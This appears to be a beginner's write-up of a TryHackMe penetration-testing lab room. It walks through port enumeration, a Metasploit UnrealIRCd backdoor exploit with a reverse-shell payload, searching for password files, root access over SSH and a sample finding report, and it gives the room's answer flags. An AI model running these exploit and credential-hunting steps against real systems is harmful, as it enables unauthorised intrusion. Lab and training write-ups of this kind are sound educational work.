Basically a room to explore how a pentester job works in the real world. Room is easy to follow along as a beginner.

Infra Pen Test

• Enumeration: Start from zero. What do you know, and what do you need to find out?
• Vulnerability analysis: Analyze your enumeration results and connect the dots to potential weaknesses.
• Initial access: Pick your attack and execute it; get a foothold on the target.
• Privilege escalation: You're in, but it's not over. Enumerate again, this time from the inside, and find a way up.
• Reporting: None of the above matters if you can't communicate it.

1. Enumerate

Enumerate is like finding everything you can about the target that you wanted to exploit

Q1. What port other than 22 is open on the target host? 6667

Q1. What port other than 22 is open on the target host? 6667

2. Vulnerability Analysis

Questioning what can we do with the vulnerabilities.

searchsploit openssh

Hence, searchsploit the other open port:-

searchsploit unrealIRCd

searchsploit unrealIRCd

3. Initial Foothold

Exploiting using msfconsole.

msf>

• search for the needed module search unrealircd
• use the suggested exploits exploit/unix/irc/unreal_ircd_5161_backdoor
• set RHOST — target set RHOSTS 10.48.155.14
• set payload set payload cmd/unix/reverse
• set LHOST — attacker set LHOST 10.48.84.215
• set LPORT 443
• Run Exploit exploit

Traverse through the directory to find the flag.

• pwd — show current directory
• ls — show list of directory
• cat — open file

Q2. What is the user-level flag? THM{Pwned-Yur-First-Machine}

Q2. What is the user-level flag? THM{Pwned-Yur-First-Machine}

4. Privilege Escalation

Once foothold is established, need to find way to escalate privilege.

find / -name password* 2>/dev/null

This command will attempt to find all files on the target system that contain the word password in their name. 2>/dev/null will suppress errors.

From the room, /etc/password.txt is where the password to the system is stored. However, in modern systems, it doesn't store the password like that.

What you HOPE to see (modern, safe)

joe:x:1002:1002::/home/joe:/bin/bash

What you LOVE to see (vulnerable — hash is right there!)

joe:8eJ82kM7qP4Lg:1002:1002::/home/joe:/bin/bash

What makes you DANCE (plaintext password!)

admin:password123:0:0:Admin:/root:/bin/bash

Even though modern systems store passwords in /etc/shadow (only readable by root), /etc/passwd gives you the usernames.

SSH into the Target using the known password and locate the flag.

Q3. What is the root flag? THM{Esclat1n-D0ne}

Q3. What is the root flag? THM{Esclat1n-D0ne}

5. It's a wrap — time for some report

p/s: the sample below aren't my writing. Just something I pasted here for my own future ref.

(The following example is a reported finding for the privilege escalation vector we’ve found in this scenario)

(The following example is a reported finding for the privilege escalation vector we’ve found in this scenario)

Title: Root Password Stored in Plaintext

Severity: Critical

Description: The root user's password was found stored in plaintext within the file /etc/password.txt. This file was readable by low-privileged users, allowing any user with shell access to retrieve the root credentials and fully compromise the system.

Exploitation Steps:

1. Obtain a low-privileged shell on the target system.
2. Read the contents of /etc/password.txt using cat /etc/password.txt.
3. Use the discovered root password to escalate privileges via ssh root@IP.

Recommendation: Remove the plaintext password file immediately and rotate the root password. Credentials should never be stored in plaintext on the filesystem. Implement a secrets management solution or use properly configured system authentication mechanisms (such as /etc/shadow with strong hashing). Additionally, enforce the principle of least privilege to restrict file access permissions.

Again, do join the room, it's fun :) It's a new room under the Jr. Pen Tester path. Join here!